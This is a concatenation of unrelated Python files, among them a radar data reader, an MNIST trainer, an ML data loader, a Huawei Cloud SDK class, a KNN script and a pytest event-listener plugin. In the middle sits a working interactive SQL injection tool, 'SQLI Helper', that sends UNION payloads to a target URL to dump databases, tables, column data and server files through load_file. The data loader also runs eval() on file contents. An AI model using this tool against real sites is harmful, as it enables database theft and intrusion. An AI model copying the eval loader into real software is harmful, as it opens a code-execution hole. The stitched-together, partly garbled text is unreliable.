                        radar_prov = read_sinarame_h5(file, file_field_names=True)
                        # print('Creo objeto radar de', file, sep='\t')

                        campo = list(radar_prov.fields.keys())[0]

                        # Si el archivo tiene menos gates que TH hay que agregarlos
                        # esto es util en un volumen solo con staggered prf
                        if radar_prov.fields[campo]['data'].shape[1] != rango:
                            falta = (rango
                                     - radar_prov.fields[campo]['data'].shape[1])
                            resto = np.ma.masked_all((azi_todos, falta))
                            datos = np.ma.concatenate(
                                [radar_prov.fields[campo]['data'], resto], 1)
                            radar_prov.fields[campo]['data'] = datos

                        radar.fields.update(radar_prov.fields)

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                    # Si no puede crear radar_prov
                    except ValueError:
                        print('x - No se puede crear el objeto radar_prov para',
                              file, sep='\t')

                    # Si no encuentra radar
                    except NameError:
                        print('No existia radar, lo creo')
                        radar = read_sinarame_h5(file, file_field_names=True)

            radar = get_strat(archivo_ref, radar)

            # except UnboundLocalError as e:
            #    print(e)
            #    continue

        elif (nombre_radar == 'PAR') or (nombre_radar == 'PER') or (nombre_radar == 'ANG'):

            # try:
            hora = datetime.strptime(archivo_ref.split('/')[-1][:12], '%Y%m%d%H%M')
            condicion = hora.strftime(f'{path_datos}{nombre_radar}/*/%Y%m%d%H%M*.vol') # /240/
            files = glob.glob(condicion)
            # files = [f in files if 'tmp' not in f]
            # aca arriba hay que decidir que variables se agarran

            # Ordeno la lista para que siempre arranque con T
            files.sort(reverse=True)

            # print('\tEl primer archivo es:', str(files[0]), end='\n\n')

            for j, file in enumerate(files):

                if j == 0:
                    try:
                        radar = read_rainbow_wrl(file, file_field_names=True)
                        azi_todos, rango = radar.fields['dBZ']['data'].shape

                        #radar.fields['ZH']=radar.fields.pop['dBZ']
                        # print('Creo objeto radar de', file, sep='\t')
                        #radar = get_strat(file, radar)

                    # Si no puede crear radar
                    # Seria recomendable agarrar las excepciones de mejor manera
                    except ValueError:
                        print('x - No se pudo crear el objeto Radar de',
                              file, sep='\t')

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                else:
                    try:
                        radar_prov = read_rainbow_wrl(file, file_field_names=True)
                        # print('Creo objeto radar de', file, sep='\t')

                        campo = list(radar_prov.fields.keys())[0]

                        #if 'V' in radar_prov :
                        #   radar_prov.fields['VRAD']=radar_prov.fields.pop['V']
                        #if 'W' in radar_prov :
                        #   radar_prov.fields['WRAD']=radar_prov.fields.pop['W']

                        #radar_prov = get_strat(file , radar_prov)

                        ##Check if we can merge this variable with the reflectivity.
                        #if np.shape( radar.azimuth['data'] )[0] == np.shape( radar_prov.azimuth['data'] )[0] )   :
                        #   if np.sum( radar.azimuth['data'] - radar_prov.azimuth['data'] ) == 0  :
                        #      radar.fields.update(radar_prov.fields)
                        #else
                        #      lista_radares.append(radar)

                    # Puede venir mal convertido el archivo H5 desde el BUFR
                    except KeyError:
                        print('x - Se convirtio mal de BUFR', file, sep='\t')

                    # Si no puede crear radar_prov
                    except ValueError:
                        print('x - No se puede crear el objeto radar_prov para',
                              file, sep='\t')

                    # Si no encuentra radar
                    except NameError:
                        print('No existia radar, lo creo')
                        radar = read_rainbow_wrl(file, file_field_names=True)

            radar = get_strat(archivo_ref, radar)

            # except UnboundLocalError as e:
            #    print(e)
            #    continue

        """
        Acá se normalizan los nombres de las variables
        """

        # Reflectividad RMA
        try:
            radar.fields['ZH'] = radar.fields.pop('TH')
        except:
            pass

        # Viento RMA
        # try:
        #    radar.fields['VRAD'] = radar.fields.pop('VRAD')
        # except:
        #     pass

        # RHO RMA
        # try:
        #    radar.fields['VRAD'] = radar.fields.pop('VRAD')
        # except:
        #     pass

        # Reflectividad Gematronik
        try:
            radar.fields['ZH'] = radar.fields.pop('dBZ')
        except:
            pass

        # Viento Gematronik
        try:
            radar.fields['VRAD'] = radar.fields.pop('V')
        except:
            pass

        # Ancho espectral Gematronik
        try:
            radar.fields['WRAD'] = radar.fields.pop('W')
        except:
            pass

        lista_radares.append(radar)

        return lista_radares


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import dash
import dash_core_components as dcc
import dash_html_components as html
import plotly.graph_objs as go
import plotly.figure_factory as ff
import pandas as pd
import numpy as np

x_coord = np.arange(0,4*np.pi,4*np.pi/40)
sf_data = np.sin(x_coord)
ml_data = np.sin(x_coord+ 0.1)
ld_data = np.sin(2*x_coord + 0.4)

graph = dcc.Graph(
            id='example-graph',
            figure={
                'data': [
                    {'x': x_coord, 'y': sf_data, 'text' : sf_data, 'type': 'line', 'name': 'SF'},
                    {'x': x_coord, 'y': ml_data, 'type': 'line', 'name': u'Montréal'},
                    {'x': x_coord, 'y': ld_data, 'type': 'line', 'name': u'London'},

                ]
            }
        )

app = dash.Dash(__name__)

app.layout =    html.Div(style={'padding': 10},children=[

                    html.H1(children='Hello Dash'),
                    graph

                ])

if __name__ == '__main__':
    app.run_server(debug=True)


import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torchvision import datasets, transforms
import torch.utils.data.dataloader as dataloader

class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        self.conv1 = nn.Sequential(
            nn.Conv2d(1, 6, 5, 1, 2),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2)
        )
        self.conv2 = nn.Sequential(
            nn.Conv2d(6, 16, 5),
            nn.ReLU(),
            nn.MaxPool2d(2, 2)
        )
        self.fc1 = nn.Sequential(
            nn.Linear(16 * 5 * 5, 120),
            nn.ReLU()
        )
        self.fc2 = nn.Sequential(
            nn.Linear(120, 84),
            nn.ReLU()
        )
        self.fc3 = nn.Linear(84, 10)

    def forward(self, x):
        x = self.conv1(x)
        x = self.conv2(x)
        x = x.view(-1, self.num_flat_features(x))
        # x = x.view(x.size()[0], -1)
        x = self.fc1(x)
        x = self.fc2(x)
        x = self.fc3(x)
        return x

    def num_flat_features(self, x):
        size = x.size()[1:]
        num_features = 1
        for s in size:
            num_features *= s
        return num_features

BATCH_SIZE = 64
EPOCH = 15
log_interval = 500
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
trans = transforms.Compose([
    transforms.ToTensor(),
    transforms.Normalize((0.1307,), (0.3081,))
])
data_train = datasets.MNIST(root='data', transform=trans, train=True, download=True)
data_test = datasets.MNIST(root='data', transform=trans, train=False, download=True)
train_loader = dataloader.DataLoader(data_train, batch_size=BATCH_SIZE, shuffle=True, num_workers=4)
test_loader = dataloader.DataLoader(data_test, batch_size=BATCH_SIZE, shuffle=True, num_workers=4)
model = Net().to(device)
optimizer = optim.SGD(model.parameters(), lr=0.01)

def train(epoch):
    model.train()  # 设置为train模式
    for batch_idx, (data, target) in enumerate(train_loader):
        data, target = data.to(device), target.to(device)
        optimizer.zero_grad()  # 优化器梯度初始化为零
        output = model(data)  # 把数据输入网络并得到输出，即进行前向传播
        loss = F.cross_entropy(output, target)   # 交叉熵损失函数
        loss.backward()  # 反向传播梯度
        optimizer.step()  # 结束一次前传+反传之后，更新参数
        if batch_idx % log_interval == 0:  # 准备打印相关信息
            print('Train Epoch: {} [{}/{} ({:.0f}%)]\tLoss: {:.6f}'.format(
                epoch, batch_idx * len(data), len(train_loader.dataset),
                100. * batch_idx / len(train_loader), loss.item()))

def test():
    model.eval()  # 设置为test模式
    test_loss = 0  # 初始化测试损失值为0
    correct = 0  # 初始化预测正确的数据个数为0
    for data, target in test_loader:
        data, target = data.to(device), target.to(device)
        output = model(data)
        test_loss += F.cross_entropy(output, target, reduction='sum')  # sum up batch loss 把所有loss值进行累加
        pred = output.data.max(1, keepdim=True)[1]  # get the index of the max log-probability
        correct += pred.eq(target.data.view_as(pred)).cpu().sum()  # 对预测正确的数据个数进行累加

    test_loss /= len(test_loader.dataset)  # 因为把所有loss值进行过累加，所以最后要除以总得数据长度才得平均loss
    print('\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\n'.format(
        test_loss, correct, len(test_loader.dataset),
        100. * correct / len(test_loader.dataset)))

if __name__ == '__main__':
    for e in range(1, EPOCH + 1):
        train(e)
        test()
    torch.save(model, 'model.pth')


import os
import pandas as pd
import numpy as np

from scipy.io import arff
from io import StringIO

def load_dataset(path):
    """
    Loads arff dataset from given path
    """
    buff = None

    with open(path, "r") as f:
        buff = StringIO(f.read())

    assert buff is not None
    data, meta = arff.loadarff(buff)
    return data, meta

def find_dataset(path_="."):
    """
    Finds all arff dataset in specified folder
    """
    return [x for x in os.listdir(path_) if x.lower().endswith("arff")]

def normalize(data):
    """
    Normalizes data to int dataformat
    """
    return pd.DataFrame(data).astype("int32")

def prepare(features):
    """
    Prepares features and labels.

    Extract features, feature_list and labels from given data
    """
    labels = np.array(features["Result"])
    features = features.drop("Result", axis=1)
    feature_list = list(features.columns)
    features = np.array(features)
    return features, feature_list, labels

def full_load():
    """
    Finds local dataset, then loads and prepares it
    """
    data, meta = load_dataset(find_dataset()[0])
    data = normalize(data)
    return prepare(data)

def load_yaml(path):
    import yaml

    return yaml.load(path)

def load_py(path):
    content = None
    with open(path, "r") as f:
        content = f.read()

    return eval(content)

def load_json(path):
    import json

    content = None
    with open(path, "r") as f:
        content = f.read()

    return json.loads(content)

loaders = {
    ".py": load_py,
    ".yml": load_yaml,
    ".yaml": load_yaml,
    ".json": load_json,
}


# coding: utf-8

import six

from huaweicloudsdkcore.sdk_response import SdkResponse
from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization

class ShowSqlLimitJobInfoResponse(SdkResponse):

    """
    Attributes:
      openapi_types (dict): The key is attribute name
                            and the value is attribute type.
      attribute_map (dict): The key is attribute name
                            and the value is json key in definition.
    """
    sensitive_list = []

    openapi_types = {
        'job_id': 'str',
        'job_status': 'str',
        'fail_reason': 'str'
    }

    attribute_map = {
        'job_id': 'job_id',
        'job_status': 'job_status',
        'fail_reason': 'fail_reason'
    }

    def __init__(self, job_id=None, job_status=None, fail_reason=None):
        """ShowSqlLimitJobInfoResponse

        The model defined in huaweicloud sdk

        :param job_id: 任务ID
        :type job_id: str
        :param job_status: 任务状态
        :type job_status: str
        :param fail_reason: 失败原因
        :type fail_reason: str
        """

        super(ShowSqlLimitJobInfoResponse, self).__init__()

        self._job_id = None
        self._job_status = None
        self._fail_reason = None
        self.discriminator = None

        if job_id is not None:
            self.job_id = job_id
        if job_status is not None:
            self.job_status = job_status
        if fail_reason is not None:
            self.fail_reason = fail_reason

    @property
    def job_id(self):
        """Gets the job_id of this ShowSqlLimitJobInfoResponse.

        任务ID

        :return: The job_id of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._job_id

    @job_id.setter
    def job_id(self, job_id):
        """Sets the job_id of this ShowSqlLimitJobInfoResponse.

        任务ID

        :param job_id: The job_id of this ShowSqlLimitJobInfoResponse.
        :type job_id: str
        """
        self._job_id = job_id

    @property
    def job_status(self):
        """Gets the job_status of this ShowSqlLimitJobInfoResponse.

        任务状态

        :return: The job_status of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._job_status

    @job_status.setter
    def job_status(self, job_status):
        """Sets the job_status of this ShowSqlLimitJobInfoResponse.

        任务状态

        :param job_status: The job_status of this ShowSqlLimitJobInfoResponse.
        :type job_status: str
        """
        self._job_status = job_status

    @property
    def fail_reason(self):
        """Gets the fail_reason of this ShowSqlLimitJobInfoResponse.

        失败原因

        :return: The fail_reason of this ShowSqlLimitJobInfoResponse.
        :rtype: str
        """
        return self._fail_reason

    @fail_reason.setter
    def fail_reason(self, fail_reason):
        """Sets the fail_reason of this ShowSqlLimitJobInfoResponse.

        失败原因

        :param fail_reason: The fail_reason of this ShowSqlLimitJobInfoResponse.
        :type fail_reason: str
        """
        self._fail_reason = fail_reason

    def to_dict(self):
        """Returns the model properties as a dict"""
        result = {}

        for attr, _ in six.iteritems(self.openapi_types):
            value = getattr(self, attr)
            if isinstance(value, list):
                result[attr] = list(map(
                    lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
                    value
                ))
            elif hasattr(value, "to_dict"):
                result[attr] = value.to_dict()
            elif isinstance(value, dict):
                result[attr] = dict(map(
                    lambda item: (item[0], item[1].to_dict())
                    if hasattr(item[1], "to_dict") else item,
                    value.items()
                ))
            else:
                if attr in self.sensitive_list:
                    result[attr] = "****"
                else:
                    result[attr] = value

        return result

    def to_str(self):
        """Returns the string representation of the model"""
        import simplejson as json
        if six.PY2:
            import sys
            reload(sys)
            sys.setdefaultencoding("utf-8")
        return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)

    def __repr__(self):
        """For `print`"""
        return self.to_str()

    def __eq__(self, other):
        """Returns true if both objects are equal"""
        if not isinstance(other, ShowSqlLimitJobInfoResponse):
            return False

        return self.__dict__ == other.__dict__

    def __ne__(self, other):
        """Returns true if both objects are not equal"""
        return not self == other


#coding:utf-8
import logging

DEFAULT_LOG_LEVEL = logging.INFO    # 默认等级
DEFAULT_LOG_FMT = '%(asctime)s %(filename)s [line:%(lineno)d] %(levelname)s: %(message)s'   # 默认日志格式
DEFUALT_LOG_DATEFMT = '%Y-%m-%d %H:%M:%S'  # 默认时间格式
DEFAULT_LOG_FILENAME = 'xx.log'    # 默认日志文件名称

SPIDERS = []

PIPELINES = []

SPIDER_MIDDLEWARES = []

DOWNLOADER_MIDDLEWARES = []

ASYNC_TYPE = ""

ASYNC_COUNT = 1

# redis队列默认配置
REDIS_QUEUE_NAME = 'request_queue'
REDIS_QUEUE_HOST = 'localhost'
REDIS_QUEUE_PORT = 6379
REDIS_QUEUE_DB = 10

role = None

#redis指纹集合的默认配置
REDIS_SET_NAME = 'request_set'
REDIS_SET_HOST = 'localhost'
REDIS_SET_PORT = 6379
REDIS_SET_DB = 10

# 读取的是用户目录下的setttings文件,如果文件中有重名的变量,则覆盖之前的变量
from settings import *


import numpy as np
import pandas as pd
from sklearn.neighbors import KNeighborsClassifier
from sklearn.metrics import accuracy_score, classification_report
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
import matplotlib.pyplot as plt

if __name__ == "__main__":
    breast_cancer = pd.read_csv("Breast_Cancer_Wisconsin.csv")
    #print (breast_cancer.head())
    '''
    for col in breast_cancer.columns:
        print(col)
    '''
    breast_cancer['bare_nucleoli'] = breast_cancer['bare_nucleoli'].replace(
        '?', np.NAN)
    # print(breast_cancer['bare_nucleoli'])
    breast_cancer['bare_nucleoli'] = breast_cancer['bare_nucleoli'].fillna(
        breast_cancer['bare_nucleoli'].value_counts().index[0])
    # print(breast_cancer['bare_nucleoli'])

    breast_cancer['Cancer_Ind'] = 0
    # print(breast_cancer['Cancer_Ind'])
    breast_cancer.loc[breast_cancer['class'] == 4, 'Cancer_Ind'] = 1
    # print(breast_cancer.loc[breast_cancer['class']==4,'Cancer_Ind'])

    x_vars = breast_cancer.drop(['id', 'class', 'Cancer_Ind'], axis=1)
    # print(x_vars)
    y_var = breast_cancer['Cancer_Ind']
    # print(y_var)

    x_vars_stdscle = StandardScaler().fit_transform(x_vars.values)
    # print(x_vars_stdscle)

    x_vars_stdscle_df = pd.DataFrame(
        x_vars_stdscle, index=x_vars.index, columns=x_vars.columns)
    # print(x_vars_stdscle_df)
    x_train, x_test, y_train, y_test = train_test_split(
        x_vars_stdscle_df, y_var, train_size=0.7, random_state=42)

    knn_fit = KNeighborsClassifier(n_neighbors=3, p=2, metric='minkowski')
    knn_fit.fit(x_train, y_train)

    print("\nK-Nearest Neighbors - Train Confusion Matrix\n\n", pd.crosstab(y_train,
                                                                            knn_fit.predict(x_train), rownames=["Actuall"], colnames=["Predicted"]))
    print("\nK-Nearest Neighbors - Train accuracy:",
          round(accuracy_score(y_train, knn_fit.predict(x_train)), 3))
    print("\nK-Nearest Neighbors - Train Classification Report\n",
          classification_report(y_train, knn_fit.predict(x_train)))

    print("\n\nK-Nearest Neighbors - Test Confusion Matrix\n\n", pd.crosstab(y_test,
                                                                             knn_fit.predict(x_test), rownames=["Actuall"], colnames=["Predicted"]))
    print("\nK-Nearest Neighbors - Test accuracy:",
          round(accuracy_score(y_test, knn_fit.predict(x_test)), 3))
    print("\nK-Nearest Neighbors - Test Classification Report\n",
          classification_report(y_test, knn_fit.predict(x_test)))

    # Tuning of K- value for Train & Test data
    dummyarray = np.empty((5, 3))
    # print(dummyarray)
    k_valchart = pd.DataFrame(dummyarray)
    # print(k_valchart)
    k_valchart.columns = ["K_value", "Train_acc", "Test_acc"]
    # print(k_valchart.columns)
    k_vals = [1, 2, 3, 4, 5]
    for i in range(len(k_vals)):
        knn_fit = KNeighborsClassifier(
            n_neighbors=k_vals[i], p=2, metric='minkowski')
        knn_fit.fit(x_train, y_train)

        print("\nK-value", k_vals[i])

        tr_accscore = round(accuracy_score(
            y_train, knn_fit.predict(x_train)), 3)
        print("\nK-Nearest Neighbors - Train Confusion Matrix\n\n", pd.crosstab(y_train,
                                                                                knn_fit.predict(x_train), rownames=["Actuall"], colnames=["Predicted"]))
        print("\nK-Nearest Neighbors - Train accuracy:", tr_accscore)
        print("\nK-Nearest Neighbors - Train Classification Report\n",
              classification_report(y_train, knn_fit.predict(x_train)))

        ts_accscore = round(accuracy_score(y_test, knn_fit.predict(x_test)), 3)
        print("\n\nK-Nearest Neighbors - Test Confusion Matrix\n\n", pd.crosstab(y_test,
                                                                                knn_fit.predict(x_test), rownames=["Actuall"], colnames=["Predicted"]))
        print("\nK-Nearest Neighbors - Test accuracy:", ts_accscore)
        print("\nK-Nearest Neighbors - Test Classification Report\n",
              classification_report(y_test, knn_fit.predict(x_test)))

        k_valchart.loc[i, 'K_value'] = k_vals[i]
        k_valchart.loc[i, 'Train_acc'] = tr_accscore
        k_valchart.loc[i, 'Test_acc'] = ts_accscore

    plt.figure()
    #plt.title('KNN Train & Test Accuracy change with K-value')

    plt.xlabel('K-value')
    plt.ylabel('Accuracy')
    plt.plot(k_valchart["K_value"], k_valchart["Train_acc"])
    plt.plot(k_valchart["K_value"], k_valchart["Test_acc"])

    plt.axis([0.9, 5, 0.92, 1.005])
    plt.xticks([1, 2, 3, 4, 5])

    for a, b in zip(k_valchart["K_value"], k_valchart["Train_acc"]):
        plt.text(a, b, str(b), fontsize=10)

    for a, b in zip(k_valchart["K_value"], k_valchart["Test_acc"]):
        plt.text(a, b, str(b), fontsize=10)

    plt.legend(loc='upper right')

    plt.show()


#!/usr/bin/python
import requests,sys,os,readline,re,binascii
from urllib.parse import unquote
dios = "make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)"

def hexx(string):
	x = binascii.b2a_hex(string.encode('utf-8'))
	return "0x"+x.decode('utf-8')

def execute(url):
	x 	 = requests.get(url.replace("inject","CONCAT(0x2566696c746879726f6f7425,user(),0x2566696c746879726f6f7425)"))
	user = x.text.split('%filthyroot%')[1]
	try:
		cmd  = input(user + " > ")
		if cmd == "clear":
			os.system("clear")
			execute(url)
		elif cmd == "dios":
			cmd = dios
		elif cmd == "databases":
			cmd = "(SELECT+(@x)+FROM+(SELECT+(@x:=0x00),(@NR_DB:=0),(SELECT+(0)+FROM+(INFORMATION_SCHEMA.SCHEMATA)+WHERE+(@x)+IN+(@x:=CONCAT(@x,LPAD(@NR_DB:=@NR_DB%2b1,2,0x30),0x20203a2020,schema_name,0x3c62723e))))x)"
		elif cmd == "tables":
			cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)"
		elif cmd == "database":
			cmd = "database()"
		elif cmd == "version":
			cmd = "version()"
		elif cmd == "user":
			cmd = "user()"
		elif cmd == "columns":
			tbxx = input("Table : ")
			cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME="+hexx(tbxx)+")AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR%2b1,2,0x30),0x3a20,column_name,0x3c62723e)))))x)"
			#print (tbzz)
			#exit()
		elif cmd == "data":
			db = input("Database : ")
			tb = input("Table    : ")
			co = input("Columns (ex : id,user,pass,)  : ")
			cmd = cmd = "(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM("+db+"."+tb+")WHERE(@x)IN(@x:=CONCAT(0x20,@x,0x3c62723e,"+co+",0x3c62723e))))x)"
		elif cmd == "loadfile":
			file = input("File Path : ")
			cmd = "load_file("+hexx(file)+")"
		elif cmd == "filepriv":
			cmd = "(SELECT(CONCAT(file_priv)) FROM mysql.user)"
		r 	   = requests.get(url.replace("inject","CONCAT(0x2566696c746879726f6f7425,"+ cmd +",0x2566696c746879726f6f7425)"))
		output = r.text.split('%filthyroot%')[1]
		if re.search("
",output):
			x = output.split("
")
			for i in x:
				print(i)
			execute(url)
		elif re.search("
",output):
			x = output.split("
")
			for i in x:
				print(i)
			execute(url)
		print("Output :",output)
	except Exception:
		#print(r.text)
		print("Syntax Error!")
		execute(url)

	execute(url)

if len(sys.argv) < 2:
	print("""############### | By FilthyRoot
# SQLI Helper # | @jogjakartahackerlink
############### | ---------------------

Usage : sqli.py \"http://target.com/index.php?id=1'UNION SELECT inject,2-- -\"""")
else:
	if re.search("http",sys.argv[1]):
		url = sys.argv[1]
	elif re.search('\%68\%74\%74\%70', sys.argv[1]):
		url = unquote(sys.argv[1])
	else:
		url = "http://"+sys.argv[1]
	execute(url)


import requests
import signal
import socket
import subprocess
import time
from collections import defaultdict
from datetime import datetime

import pytest

from utils import providers
from utils.cfmedb import db_session_maker
from utils.conf import cfme_data
from utils.datafile import template_env
from utils.events import setup_for_event_testing
from utils.log import create_logger
from utils.path import scripts_path
from utils.ssh import SSHClient
from utils.wait import wait_for, TimedOutError

logger = create_logger('events')

def get_current_time_GMT():
    """ Because SQLite loves GMT.

    Returns:
        datetime() with current GMT time
    """
    return datetime.strptime(time.strftime("%Y-%m-%d %H:%M:%S", time.gmtime()), "%Y-%m-%d %H:%M:%S")

class HTMLReport(object):
    def __init__(self, events):
        self.events = events

    def generate(self, filename):
        template = template_env.get_template('event_testing.html')
        with open(filename, "w") as outfile:
            outfile.write(template.render(events=self.events))

class EventExpectation(object):
    """ Expectation for an event.

    This object embeds an expectation in order to be able to easily compare
    whether the two expectations are the same but just with different time.

    This is the actual object returned by the :py:func:`register_event` fixture.
    """

    TIME_FORMAT = "%Y-%m-%d %H:%M:%S"

    def __init__(self, sys_type, obj_type, obj, event, time=None):
        self.sys_type = sys_type
        self.obj_type = obj_type
        self.obj = obj
        self.event = event
        self.arrived = None
        if time:
            self.time = time
        else:
            self.time = get_current_time_GMT()

    def __eq__(self, other):
        try:
            assert self.sys_type == other.sys_type
            assert self.obj_type == other.obj_type
            assert self.obj == other.obj
            assert self.event == other.event
            return True
        except (AssertionError, AttributeError):
            return False

    @property
    def colour(self):
        return "green" if self.arrived else "red"

    @property
    def time_friendly(self):
        return datetime.strftime(self.time, self.TIME_FORMAT)

    @property
    def success_friendly(self):
        return "success" if self.arrived else "failed"

    @property
    def time_difference(self):
        if self.arrived:
            td = self.arrived - self.time
            return int(round(td.total_seconds()))
        else:
            return "Did not come"

class EventListener(object):

    TIME_FORMAT = "%Y-%m-%d-%H-%M-%S"

    def __init__(self, listener_port, settle_time, verbose=False):
        self.listener_port = int(listener_port)
        listener_filename = scripts_path.join('listener.py').strpath
        self.listener_script = "%s 0.0.0.0 %d" % (listener_filename, self.listener_port)
        if not verbose:
            self.listener_script += ' --quiet'
        self.settle_time = int(settle_time)
        self.expectations = []
        self.processed_expectations = defaultdict(list)
        self.listener = None

    def get_listener_host(self):
        return "http://%s" % self.get_ip_address()

    def get_ip_address(self):
        """ This returns this machine's active IP address.

        It uses Sean's service to query the address.
        """
        data = cfme_data.get("event_testing")
        assert data, "No event_testing section in cfme_data yaml"
        ipecho = data.get("ip_echo")
        assert ipecho, "No event_testing/ip_echo in cfme_data yaml"
        try:
            host = ipecho["host"]
            port = int(ipecho["port"])
        except (TypeError, KeyError):
            raise Exception("Could not read data from event_testing/ip_echo/{host, port}")
        connection = socket.create_connection((host, port))
        try:
            return str(connection.recv(39)).strip()
        finally:
            connection.close()

    def _get(self, route):
        """ Query event listener
        """
        assert not self.finished, "Listener dead!"
        listener_url = "%s:%d" % (self.get_listener_host(), self.listener_port)
        logger.info("checking api: %s%s" % (listener_url, route))
        r = requests.get(listener_url + route)
        r.raise_for_status()
        response = r.json()
        logger.debug("Response: %s" % response)
        return response

    def _delete_database(self):
        """ Sends a DELETE /events request for listener.

        Listener reacts to this kind of request by truncating contents of the events table.

        Returns:
            Boolean signalizing success.
        """
        assert not self.finished, "Listener dead!"
        listener_url = "%s:%d" % (self.get_listener_host(), self.listener_port)
        r = requests.delete(listener_url + "/events")
        r.raise_for_status()
        return r.json().get("result") == "success"

    def mgmt_sys_type(self, sys_type, obj_type):
        """ Map management system type from cfme_data.yaml to match event string
            and also add possibility of host based test.
        """
        # TODO: obj_type ('ems' or 'vm') is the same for all tests in class
        #       there must be a better way than to pass this around
        ems_map = {"rhevm": "EmsRedhat",
                   "virtualcenter": "EmsVmware"}
        vm_map = {"rhevm": "VmRedhat",
                  "virtualcenter": "VmVmware"}
        if obj_type in {"ems"}:
            return ems_map.get(sys_type)
        elif obj_type in {"vm"}:
            return vm_map.get(sys_type)
        elif obj_type in {"host"}:
            return obj_type

    def check_db(self, sys_type, obj_type, obj, event, after=None, before=None):
        """ Utility to check listener database for event

        Args:
            after: Return only events that happened AFTER this time
            before: Return only events that happened BEFORE this time

        Note:
            Both can be combined. If None, then the filter won't be applied.
        """
        max_attempts = 10
        sleep_interval = 2
        req = "/events/%s/%s?event=%s" % (self.mgmt_sys_type(sys_type, obj_type), obj, event)
        # Timespan limits
        if after:
            req += "&from_time=%s" % datetime.strftime(after, self.TIME_FORMAT)
        if before:
            req += "&to_time=%s" % datetime.strftime(before, self.TIME_FORMAT)

        for attempt in range(1, max_attempts + 1):
            data = self._get(req)
            try:
                assert len(data) > 0
            except AssertionError as e:
                if attempt < max_attempts:
                    logger.debug("Waiting for DB (%s/%s): %s" % (attempt, max_attempts, e))
                    time.sleep(sleep_interval)
                    pass
                # Enough sleeping, something went wrong
                else:
                    logger.exception("Check DB failed. Max attempts: '%s'." % (max_attempts))
                    return False
            else:
                # No exceptions raised
                logger.info("DB row found for '%s'" % req)
                return datetime.strptime(data[0]["event_time"], "%Y-%m-%d %H:%M:%S")
        return False

    def check_all_expectations(self):
        """ Check whether all triggered events have been captured.

        Sets a flag for each event.

        Simplified to check just against the time of registration
        and the begin of this check.

        Returns:
            Boolean whether all events have already been captured.

        """
        check_started = get_current_time_GMT()
        for expectation in self.expectations:
            # Get the events with the same parameters, just with different time
            the_same = [item
                        for item
                        in self.expectations
                        if item == expectation and item is not expectation
                        ]
            # Split them into preceeding and following events
            preceeding_events = [event
                                 for event
                                 in the_same
                                 if event.time <= expectation.time and event is not expectation
                                 ]
            # Get immediate predecessor's of follower's time of this event
            preceeding_event = preceeding_events[-1].time if preceeding_events else expectation.time
            #following_event = following_events[0].time if following_events else check_started
            # Shorten the params
            params = [expectation.sys_type,
                      expectation.obj_type,
                      expectation.obj,
                      expectation.event]
            came = self.check_db(*params, after=preceeding_event, before=check_started)
            if came:
                expectation.arrived = came
        return all([exp.arrived is not None for exp in self.expectations])

    @property
    def expectations_count(self):
        return len(self.expectations)

    def add_expectation(self, sys_type, obj_type, obj, event):
        expectation = EventExpectation(sys_type, obj_type, obj, event)  # Time added automatically
        self.expectations.append(expectation)

    def __call__(self, sys_type, obj_type, obj, events):
        if not isinstance(events, list):
            events = [events]
        for event in events:
            logger.info("Event registration: %s" % str(locals()))
            self.add_expectation(sys_type, obj_type, obj, event)

    @pytest.fixture(scope="session")
    def listener_info(self):
        """ Listener fixture

        This fixture provides listener's address and port.
        It is used in setup test cases located at:
        ``/tests/test_setup_event_testing.py``
        """
        return type(
            "Listener",
            (object,),
            {
                "host": self.get_listener_host(),
                "port": self.listener_port
            }
        )

    @property
    def finished(self):
        if not self.listener:
            return True
        return self.listener.poll() is not None

    def start(self):
        assert not self.listener, "Listener can't be running in order to start it!"
        logger.info("Starting listener %s" % self.listener_script)
        logger.info("In order to run the event testing, port %d must be enabled." %
            self.listener_port)
        logger.info("sudo firewall-cmd --add-port %d/tcp --permanent" % self.listener_port)
        self.listener = subprocess.Popen(self.listener_script,
                                         shell=True)
        logger.info("Listener pid %d" % self.listener.pid)
        time.sleep(3)
        assert not self.finished, "Listener has died. Something must be blocking selected port"
        logger.info("Listener alive")

    def stop(self):
        assert self.listener, "Listener must be running in order to stop it!"
        logger.info("Killing listener %d" % (self.listener.pid))
        self.listener.send_signal(signal.SIGINT)
        self.listener.wait()
        self.listener = None

    def pytest_unconfigure(self, config):
        """ Collect and clean up the testing.

        If the event testing is active, collects results, stops the listener
        and generates the report.
        """
        if config.getoption("event_testing_enabled"):
            # Collect results
            try:
                # Generate result report
                report = HTMLReport(self.processed_expectations)
                report.generate(config.getoption("event_testing_result"))
                # Report to the terminal
                termreporter = config.pluginmanager.getplugin('terminalreporter')
                termreporter.write_sep('-', 'Stopping event listener')
            finally:
                self.stop()

def pytest_addoption(parser):
    parser.addoption('--event-testing',
                     action='store_true',
                     dest='event_testing_enabled',
                     default=False,
                     help='Enable testing of the events. (default: %default)')
    parser.addoption('--event-testing-result',
                     action='store',
                     dest='event_testing_result',
                     default="log/events.html",
